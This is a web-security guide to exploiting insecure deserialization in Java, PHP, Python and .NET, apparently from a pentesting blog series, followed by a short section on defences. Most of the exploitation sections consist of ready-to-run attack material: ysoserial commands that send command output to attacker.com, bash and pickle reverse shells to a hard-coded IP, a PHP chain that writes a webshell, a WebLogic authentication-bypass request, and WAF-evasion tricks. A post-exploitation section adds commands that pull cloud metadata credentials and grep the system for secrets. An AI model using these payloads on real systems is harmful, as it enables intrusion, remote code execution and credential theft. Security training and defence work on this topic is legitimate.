Insecure deserialization has handed attackers RCE in some of the most hardened enterprise environments on the planet — Apache, Jenkins, JBoss, WebLogic, Oracle, and more. A single malformed object can bypass authentication, execute arbitrary code, or delete your entire database. This guide covers detection, exploitation, gadget chains, and WAF bypass for Java, PHP, Python, and .NET in 2026.
What Is Deserialization?
Serialization converts an object in memory into a format that can be stored or transmitted — bytes, JSON, XML, binary. Deserialization reverses it: takes the stored format and reconstructs the object.
Applications use serialization everywhere:
- Session cookies
- API request/response bodies
- Message queues (Kafka, RabbitMQ)
- Caches (Redis, Memcached)
- Database stored objects
- Inter-process communication
The problem: when an application deserializes data from an untrusted source without proper validation, an attacker can supply a crafted serialized object that triggers unintended behavior during reconstruction.
Why Insecure Deserialization Is So Dangerous
Classified as OWASP A08:2021 — Software and Data Integrity Failures, insecure deserialization is uniquely nasty because:
- Pre-authentication in many cases — deserialization often happens before the application checks who you are
- Execution during deserialization — code runs as the object is reconstructed, before any validation logic
- Gadget chains — attackers don’t need custom code on the server; they chain together existing classes already loaded in the JVM/runtime
- Wide attack surface — cookies, HTTP headers, request bodies, message queue payloads, RMI endpoints
- High CVSS scores — most deserialization RCEs score 9.0+ (critical)
Notable exploited vulnerabilities:
- Apache Commons Collections — the gadget chain that broke the internet in 2015
- Java RMI/JNDI — basis for Log4Shell (CVE-2021-44228)
- WebLogic — multiple critical CVEs across years (CVE-2019-2725, CVE-2020-14882, etc.)
- Jenkins — CVE-2016-0792, Java deserialization via CLI
- JBoss — CVE-2015-7501, remote code execution pre-auth
Detection
Step 1 — Identify Serialized Data
Java serialized objects start with aced 0005 in hex (base64: rO0AB):
# Raw bytes
AC ED 00 05
# Base64 encoded
rO0ABXNy...
# URL encoded
%AC%ED%00%05
Look for these in:
- Cookies (
JSESSIONID, custom session cookies) - POST body parameters
- HTTP headers
- ViewState parameters (Java Server Faces)
PHP serialized strings use a human-readable format:
O:8:"UserData":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
Python pickle binary starts with \x80\x04 or older protocol bytes. Often base64-encoded in cookies or API fields.
.NET serialized objects may appear as:
- Binary in SOAP/XML:
AAEAAAD/////AQAAAAAAAAAMAgAAAF9... - ViewState:
__VIEWSTATEparameter in ASP.NET forms - JSON.NET with
$typeproperty:{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",...}
Step 2 — Probe with Modified Objects
Once you identify a serialized object:
- Capture the request in Burp Suite
- Decode the serialized data (base64, URL-decode as needed)
- Send to Burp Decoder/Repeater
- Modify values to test for deserialization without gadget chains first
Low-risk detection test: Change a string value and see if the response changes. If the server throws a deserialization error (stack trace, 500 error), deserialization is confirmed.
Burp Suite Extensions for detection:
- Java Deserialization Scanner — detects Java deserialization sinks, tests multiple gadget chains
- GadgetProbe — fingerprints which gadget libraries are available
- Ysoserial integration plugins — automate payload generation
Step 3 — Use Automated Tools
# Java: use ysoserial to generate test payloads
java -jar ysoserial.jar CommonsCollections1 "nslookup your.burpcollaborator.net" > payload.ser
# Send it and watch for DNS callback
A DNS callback confirms blind deserialization RCE even when there’s no visible output.
Java Deserialization
Understanding Gadget Chains
Java deserialization exploits work by chaining together readObject(), hashCode(), equals(), compareTo(), and similar methods in existing library classes. These chains — gadget chains — eventually call Runtime.exec() or equivalent.
The prerequisite: the vulnerable class must be on the classpath. Common libraries that provide exploitable gadget chains:
| Library | Gadget | Notes |
|---|---|---|
| Commons Collections 3.x | CC1, CC2, CC3, CC4, CC5, CC6, CC7 | Most common; Apache Commons |
| Commons Collections 4.x | CC2, CC4 | Different class hierarchy |
| Commons BeanUtils | CB1 | Works with CC3 not on classpath |
| Spring Framework | Spring1, Spring2 | Spring-based applications |
| Groovy | Groovy1 | Jenkins, Groovy-based apps |
| JRMPClient | JRMP | RMI deserialization, triggers JNDI lookup |
| Hibernate | Hibernate1, Hibernate2 | ORM library |
| AspectJWeaver | AsJWeaver | Arbitrary file write |
| Mozilla Rhino | Rhino | JS engine embedded in Java |
ysoserial
ysoserial is the standard tool for Java deserialization payload generation.
# Download
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# List available payloads
java -jar ysoserial-all.jar
# Generate payload for command execution
java -jar ysoserial-all.jar CommonsCollections1 "id" > payload.ser
java -jar ysoserial-all.jar CommonsCollections6 "curl https://attacker.com/$(id|base64)" > payload.ser
# Reverse shell
java -jar ysoserial-all.jar CommonsCollections1 \
"bash -c {bash,-i,>&,/dev/tcp/10.10.14.1/4444,0>&1}" > payload.ser
# Base64-encode for use in cookies/headers
java -jar ysoserial-all.jar CommonsCollections6 "id" | base64 -w 0 > payload.b64
# Send via curl
curl -b "session=$(cat payload.b64)" https://target.com/app
Don’t know which gadget chain to use? Try them all:
#!/bin/bash
CHAINS=("BeanShell1" "C3P0" "CB1" "Clojure" "CommonsBeanutils1" "CommonsCollections1" \
"CommonsCollections2" "CommonsCollections3" "CommonsCollections4" \
"CommonsCollections5" "CommonsCollections6" "CommonsCollections7" \
"Groovy1" "Hibernate1" "Hibernate2" "JBossInterceptors1" \
"JRMPClient" "JRMPListener" "JSON1" "JavassistWeld1" \
"Jdk7u21" "Jython1" "MozillaRhino1" "MozillaRhino2" \
"Myfaces1" "Myfaces2" "ROME" "Rome" "Spring1" "Spring2" \
"URLDNS" "Vaadin1" "Wicket1")
for CHAIN in "${CHAINS[@]}"; do
echo "[*] Testing $CHAIN"
java -jar ysoserial-all.jar "$CHAIN" "nslookup ${CHAIN}.your.burp-collaborator.net" 2>/dev/null | \
curl -s -X POST https://target.com/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @- -o /dev/null -w "HTTP %{http_code}\n"
done
Watch Burp Collaborator for DNS hits — the chain that triggers tells you which library is available.
GadgetProbe
GadgetProbe fingerprints available classes without needing RCE:
# Generate probes for Burp Collaborator
java -jar GadgetProbe.jar commonsCollections3.1 \
"your.burp-collaborator.net" > probes/
# Each probe triggers DNS if the target class is loaded
# Read results in Collaborator to identify available gadget chains
WebLogic Attack (CVE-2019-2725 / CVE-2020-14882)
WebLogic T3 protocol (default port 7001) is a favorite target. The T3 protocol deserializes objects by default.
# Check for WebLogic
curl -k https://target.com:7001/console
curl -k https://target.com:7001/_async/AsyncResponseService
# Exploit CVE-2019-2725 with ysoserial
python exploit_weblogic.py target.com 7001 "id"
# CVE-2020-14882 — authentication bypass + RCE
curl -k 'https://target.com:7001/console/images/%252E%252E%252Fconsole.portal' \
-d "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\\"Runtime.getRuntime().exec('id');\\")"
Jenkins CLI Deserialization (CVE-2016-0792)
# Jenkins before 1.651.2 / 2.3
# CLI port: typically 50000 (JNLP) or via HTTP
java -jar ysoserial-all.jar Groovy1 "id" > payload.ser
# Use jenkins-cli to send
java -jar jenkins-cli.jar -s http://target.com/ who-am-i \
--username '' --password '' \
< payload.ser
Detecting Java Deserialization with Burp
- Install Java Deserialization Scanner extension (Burp BApp Store)
- Right-click any request in Burp → Extensions → Java Deserialization Scanner → Actively scan
- The scanner will fuzz serialized parameters with all common gadget chains and OOB callbacks
- Check Collaborator for DNS/HTTP callbacks
PHP Deserialization
PHP Object Injection
PHP’s unserialize() function is the sink. When user-controlled data reaches unserialize(), the attacker controls object reconstruction. PHP magic methods are invoked automatically during deserialization:
| Magic Method | Triggered When |
|---|---|
__wakeup() | Object is deserialized |
__destruct() | Object is garbage collected |
__toString() | Object is used as a string |
__call() | Method called that doesn’t exist |
__get() | Accessing undefined property |
__set() | Setting undefined property |
__isset() | isset() called on undefined property |
POP Chain Construction
POP (Property-Oriented Programming) chains link magic methods to reach dangerous sinks like eval(), system(), file_put_contents(), include(), etc.
Example vulnerable code:
<?php
class Logger {
private $log_file;
private $log_data;
public function __destruct() {
file_put_contents($this->log_file, $this->log_data);
}
}
$data = base64_decode($_COOKIE['session']);
$obj = unserialize($data);
Exploit — write a webshell:
<?php
class Logger {
private $log_file = '/var/www/html/shell.php';
private $log_data = '<?php system($_GET["cmd"]); ?>';
}
$payload = serialize(new Logger());
echo base64_encode($payload);
// Output: O:6:"Logger":2:{...}
// Set as session cookie, trigger request, then visit /shell.php?cmd=id
PHPGGC — PHP Gadget Chain Generator
PHPGGC is the PHP equivalent of ysoserial — a library of pre-built POP chains for common frameworks.
# Install
git clone https://github.com/ambionics/phpggc
# List available chains
php phpggc -l
# List chains for a specific framework
php phpggc -l Laravel
php phpggc -l Symfony
php phpggc -l Guzzle
php phpggc -l Yii
# Generate payload
php phpggc Laravel/RCE1 system 'id'
php phpggc Symfony/RCE4 system 'id'
# Base64 output
php phpggc -b Laravel/RCE1 system 'id'
# URL-encoded output
php phpggc -u Laravel/RCE1 system 'id'
# Write webshell
php phpggc Laravel/RCE1 file_put_contents '/var/www/html/shell.php' '<?php system($_GET["cmd"]); ?>'
# JSON format
php phpggc -j Symfony/RCE4 system 'id'
Common framework chains:
| Framework | Chain | Sink |
|---|---|---|
| Laravel | Laravel/RCE1–9 | system(), eval() |
| Symfony | Symfony/RCE1–7 | system(), file write |
| Yii | Yii/RCE1–2 | eval() |
| Guzzle | Guzzle/RCE1 | SSRFable, then RCE |
| Monolog | Monolog/RCE1–8 | system(), exec() |
| Zend Framework | ZendFramework/RCE1 | system() |
| Doctrine | Doctrine/RCE1 | SQL exec |
| CakePHP | CakePHP/RCE1 | file write |
PHP Type Juggling with Serialization
Beyond gadget chains, PHP’s loose comparison can cause auth bypasses:
// Vulnerable — MD5 hash comparison
if (unserialize($_COOKIE['auth'])['hash'] == md5($secret)) {
// authenticated
}
In PHP, if md5() returns a hash starting with 0e (magic hash), it equals 0 numerically. Supply a serialized object where the hash value is 0 or 0e[digits] to bypass.
__wakeup() Bypass (CVE-2016-7124)
In PHP < 5.6.25 and < 7.0.10, if a serialized object declares more properties than defined, __wakeup() is skipped:
# Normal object with 1 property
O:4:"User":1:{s:4:"name";s:5:"admin";}
# Modified: declare 2 properties — __wakeup() is NOT called
O:4:"User":2:{s:4:"name";s:5:"admin";}
Useful when __wakeup() resets security-critical properties that __destruct() uses.
Python Deserialization (Pickle)
Python’s pickle module is the most dangerous deserialization mechanism — it executes arbitrary code by design. Any object that implements __reduce__ can run system commands when deserialized.
Exploit
import pickle
import os
import base64
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Generate payload
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload)
Reverse shell payload:
import pickle, os, base64
class Shell:
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"',))
payload = base64.b64encode(pickle.dumps(Shell())).decode()
print(payload)
Send it:
# If it goes in a cookie
curl -b "session=$(python3 gen_payload.py)" https://target.com/dashboard
# If it goes in a POST parameter
curl -X POST https://target.com/api/data \
-d "data=$(python3 gen_payload.py | python3 -c 'import sys; print(sys.stdin.read().strip())')"
Real-World Pickle Targets
- Flask sessions using
itsdangerouswithpicklebackend (misconfiguration) - Celery task queues when pickle is the serializer (was default before 4.0)
- Redis cached objects when
pickleis used for serialization - Scikit-learn / ML models —
.pklfiles from untrusted sources execute code on load - Joblib — parallel processing library using pickle
NumPy/PyTorch Deserialization
Python deserialization isn’t limited to pickle:
# PyTorch .pt/.pth files execute arbitrary code on load
import torch
model = torch.load('malicious_model.pt') # RCE
# NumPy .npy / .npz with pickle objects
import numpy as np
arr = np.load('malicious.npy', allow_pickle=True) # RCE
This is increasingly relevant for ML supply chain attacks — distributing malicious “model weights” that execute code on load.
.NET Deserialization
BinaryFormatter / SoapFormatter
BinaryFormatter and SoapFormatter are the classic .NET deserialization sinks. Both are marked obsolete in .NET 5+ due to security, but remain in legacy applications.
Dangerous classes:
ObjectDataProvider— invokes arbitrary methods on arbitrary objectsWindowsIdentity— triggers LDAP/KerberosActivitySurrogateSelector— compiles and executes codeTypeConfuseDelegate— delegates to arbitrary methods
ysoserial.net
ysoserial.net is the .NET equivalent:
# List gadget chains
ysoserial.exe -l
# BinaryFormatter payload (e.g., ViewState)
ysoserial.exe -f BinaryFormatter -g ObjectDataProvider -c "cmd /c whoami"
# JSON.NET with TypeNameHandling.All vulnerability
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami"
# ViewState exploitation (ASP.NET WebForms)
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
--validationalg="SHA1" \
--validationkey="[MACHINEKEY]" \
-c "cmd /c whoami"
# XML serialization
ysoserial.exe -f SoapFormatter -g ActivitySurrogateSelector -c "cmd /c whoami"
JSON.NET $type Exploitation
When JsonSerializerSettings.TypeNameHandling is set to All or Objects, attackers can specify arbitrary .NET types via the $type property:
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
ASP.NET ViewState Exploitation
ASP.NET WebForms use ViewState — a base64-encoded, optionally HMAC-signed blob stored in __VIEWSTATE. If you can obtain the machineKey (from leaked web.config, path traversal, etc.), you can forge a malicious ViewState payload.
# Once you have the machine key, generate malicious ViewState
ysoserial.exe -p ViewState \
--validationalg="SHA1" \
--validationkey="YOUR_MACHINE_KEY" \
--viewstateuserkey="ASP.NET_SessionId_value" \
-g TextFormattingRunProperties \
-c "cmd /c powershell -e BASE64ENCODEDCOMMAND"
# Submit via POST parameter
# __VIEWSTATE=PAYLOAD&__VIEWSTATEGENERATOR=...
WAF Bypass Techniques
For Java
Randomize gadget chain selection: If one chain is blocked by signature, another chain may not be.
Encode the payload:
# Gzip + base64
java -jar ysoserial-all.jar CommonsCollections6 "id" | gzip | base64 -w 0
# If the app decompresses before deserializing, this bypasses content inspection
Use DNS-only payloads for detection (no command execution in WAF signatures):
java -jar ysoserial-all.jar URLDNS "http://your.collaborator.net" > payload.ser
Fragment across multiple requests when the WAF inspects individual payloads but not reassembled chunks (HTTP chunked encoding).
For PHP
Null byte injection in class names:
O:4:"User":1:{s:4:"\x00*\x00name";s:5:"admin";}
Custom __serialize() / __unserialize() methods (PHP 7.4+) may bypass filters targeting the old format.
Use string mangling to avoid detection:
$payload = str_replace('system', 'sys'.'tem', $base_payload);
For Python Pickle
import pickle, os
# Obfuscated payload using pickle opcodes directly
import pickletools
class RCE:
def __reduce__(self):
cmd = 'id'
return eval, (f'__import__("os").popen("{cmd}").read()',)
payload = pickle.dumps(RCE())
Reconstruct payload byte-by-byte to evade content-inspection signatures.
Post-Exploitation
Once you have RCE via deserialization, standard post-exploitation applies — but be aware of the environment:
Container checks:
cat /proc/1/cgroup # Check if in container
ls /.dockerenv # Docker indicator
env | grep -i kube # Kubernetes environment
Service account / IAM:
# AWS IMDS (if on EC2/ECS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP metadata
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
Pivot to application secrets:
find / -name "*.properties" -o -name "*.yml" -o -name "*.yaml" -o -name "web.config" 2>/dev/null | head -20
grep -r "password\|secret\|key\|token" /etc/ /opt/ /app/ 2>/dev/null | grep -v Binary
JVM heap dump (Java — grab in-memory secrets):
jmap -dump:format=b,file=/tmp/heap.bin $(pgrep java)
# Transfer and analyze with Eclipse MAT or strings
strings /tmp/heap.bin | grep -i "password\|secret\|token"
Real-World CVEs
CVE-2015-4852 — Oracle WebLogic (Apache Commons)
The vulnerability that exposed the gadget chain problem to the world. WebLogic’s T3 protocol blindly deserialized objects, and with Apache Commons Collections 3.1 on the classpath, full RCE pre-authentication.
CVSS: 9.8. Affected: WebLogic Server 10.3.6, 12.1.2, 12.1.3, 12.2.1.
CVE-2017-5638 — Apache Struts (not deserialization, but gadget-chain style)
While technically a different vuln class, the Equifax breach (143M records) used a related concept: attacker-controlled input evaluated as code during object construction.
CVE-2021-44228 — Log4Shell
Log4j’s JNDI lookup chained Java deserialization through LDAP. A log message ${jndi:ldap://attacker.com/exploit} would trigger a deserialization payload fetch. One of the most exploited vulnerabilities in history.
CVSS: 10.0. Affected: Log4j 2.0-beta9 through 2.14.1.
CVE-2022-22965 — Spring4Shell
Spring Framework RCE via data binding — property manipulation allowing class loader access. Combined with Apache Tomcat, achieves RCE. CVSS: 9.8.
CVE-2023-46604 — Apache ActiveMQ
Java deserialization via OpenWire protocol (port 61616). Unauthenticated RCE. CVSS: 10.0. Actively exploited by ransomware groups including HelloKitty within 48 hours of disclosure.
# Check for exposed ActiveMQ
nmap -p 61616 target.com -sV
# PoC (DO NOT USE ON UNAUTHORIZED SYSTEMS)
# github.com/X1r0z/ActiveMQ-RCE
Practice Labs
- TryHackMe — “Insecure Deserialization” room (Java and PHP)
- Hack The Box — multiple machines use Java/PHP deserialization (Arkham - Java, Cereal - .NET)
- PortSwigger Web Security Academy — dedicated deserialization labs covering PHP and Java with guided + unguided challenges (free)
- DVJA (Damn Vulnerable Java Application) — run locally for Java deserialization practice
- WebGoat — OWASP’s vulnerable training app, includes insecure deserialization module
Spin up a practice VPS to run these labs without polluting your main system. Keep exploit tooling isolated.
👉 Vultr VPS from $6/month — SSD instances deploy in 60 seconds, perfect for running WebGoat, DVJA, or intentionally vulnerable Docker stacks.
Defense: How to Actually Fix It
1. Don’t deserialize untrusted data
The only 100% reliable fix. If you control both ends of the serialization (internal caches, internal queues), use safer formats like JSON or MessagePack.
2. Use safe serialization libraries
| Language | Avoid | Use Instead |
|---|---|---|
| Java | ObjectInputStream directly | Use ObjectInputFilter, sign/encrypt payloads, or switch to JSON |
| PHP | unserialize() on user input | json_decode(), or validate + allowlist with allowed_classes |
| Python | pickle on untrusted data | json, msgpack, or ast.literal_eval() for simple types |
| .NET | BinaryFormatter, SoapFormatter | System.Text.Json, XmlSerializer with restrictions |
3. Java ObjectInputFilter (allowlist)
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(info -> {
Class<?> clazz = info.serialClass();
if (clazz == null) return ObjectInputFilter.Status.UNDECIDED;
if (clazz == MyExpectedClass.class) return ObjectInputFilter.Status.ALLOWED;
return ObjectInputFilter.Status.REJECTED;
});
4. PHP allowed_classes
// Only allow specific classes
$obj = unserialize($data, ['allowed_classes' => ['SafeClass', 'AnotherSafeClass']]);
// Block all class instantiation
$obj = unserialize($data, ['allowed_classes' => false]);
5. Cryptographic signing
Sign serialized data before storing/transmitting. Verify signature before deserializing. Prevents tampering but doesn’t fix the underlying risk if the key is compromised.
6. Monitor for known gadget chain indicators
Set up alerts for:
aced0005(Java serialized magic bytes) in HTTP bodies/cookiesO:followed by class names in cookies (PHP serialized)rO0AB(base64 Java serialized) in HTTP parameters- Known gadget class names in stack traces
Deserialization Cheatsheet
| Language | Sink | Detection | Tool | Common Gadget/Sink |
|---|---|---|---|---|
| Java | ObjectInputStream.readObject() | AC ED 00 05 / rO0AB | ysoserial | CommonsCollections, Spring |
| PHP | unserialize() | O:N:"ClassName":... | PHPGGC | Laravel/RCE, Symfony/RCE |
| Python | pickle.loads() | \x80\x04\x95 | Manual | __reduce__() → os.system |
| .NET | BinaryFormatter.Deserialize() | AAEAAAD / ViewState | ysoserial.net | ObjectDataProvider |
| Ruby | Marshal.load() | \x04\x08 | universal-deserializer-gadgets | Universal gadget |
| Node.js | node-serialize / serialize-javascript | {"rce":"_$$ND_FUNC$$_function..."} | Manual | IIFE injection |
What’s Next
Insecure deserialization sits in the larger web attack landscape:
- SSTI Attack Guide 2026 — server-side code execution via template engines
- Command Injection Guide 2026 — OS-level injection techniques
- XXE Attack Guide 2026 — external entity injection leading to SSRF and file read
- SSRF Attack Guide 2026 — server-side request forgery to internal infrastructure
All part of the Web Application Pentesting Series .
Need expert security content for your team or platform? CipherWrite delivers practitioner-written articles, technical guides, and security documentation that actually holds up to expert review.
